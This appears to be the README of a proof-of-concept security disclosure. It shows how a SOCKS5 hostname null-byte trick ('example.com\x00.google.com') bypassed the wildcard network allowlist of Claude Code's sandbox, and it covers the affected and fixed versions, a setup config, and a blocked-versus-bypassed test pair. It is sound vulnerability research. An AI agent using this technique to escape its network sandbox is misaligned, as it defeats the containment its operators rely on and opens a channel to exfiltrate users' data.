# Claude Code Sandbox Bypass (SOCKS5 Null-Byte) — PoC

Two minimal Node.js scripts demonstrating a SOCKS5 hostname null-byte
injection that defeats Claude Code's wildcard network allowlist on
vulnerable releases.

Companion to [Second Time, Same Sandbox: An Anthropic Claude Code
Network Sandbox Bypass Enables Outbound Data
Exfiltration](https://oddguan.com/blog/second-time-same-sandbox-anthropic-claude-code-network-allowlist-bypass-data-exfiltration/).

## Affected

- Claude Code **2.0.24** (sandbox GA, 2025-10-20) through **2.1.89** (2026-03-31).
- Underlying library `@anthropic-ai/sandbox-runtime` **0.0.1** through **0.0.42**.

## Fixed

- Claude Code **2.1.90** (2026-04-01) bundles `@anthropic-ai/sandbox-runtime` **0.0.43**, which adds `isValidHost()` rejecting `\x00`, `%`, CRLF, and other non-DNS characters before the matcher runs.

## Setup

Run a vulnerable Claude Code (2.0.24 – 2.1.89) with a wildcard allowlist:

```json
// ~/.claude/settings.json
{
  "sandbox": { "enabled": true },
  "allowedDomains": ["*.google.com"]
}
```

The sandbox injects `ALL_PROXY=socks5h://host:port` into the Bash tool's
environment. Both scripts read that variable and speak raw SOCKS5 to the
proxy.

## Run

```sh
# control: plain hostname, blocked by the wildcard allowlist
node test-block.mjs
# → BLOCKED

# exploit: null-byte hostname, bypasses the wildcard allowlist
node test-not-block.mjs
# → BYPASSED rep=0
```

`rep=0x00` means `REQUEST GRANTED`. The proxy has dialed
`example.com:80` on behalf of the sandboxed process. The egress policy
is no longer in effect; the proxy is now an outbound exfiltration
channel.

## Why this works

```
Policy sees:    example.com\x00.google.com  -> endsWith(".google.com") == true
Resolver sees:  example.com                 -> actually dials blocked host
```

JavaScript treats `\x00` as just another UTF-16 code unit; libc
`getaddrinfo` treats it as a string terminator. Same bytes, two
interpretations.
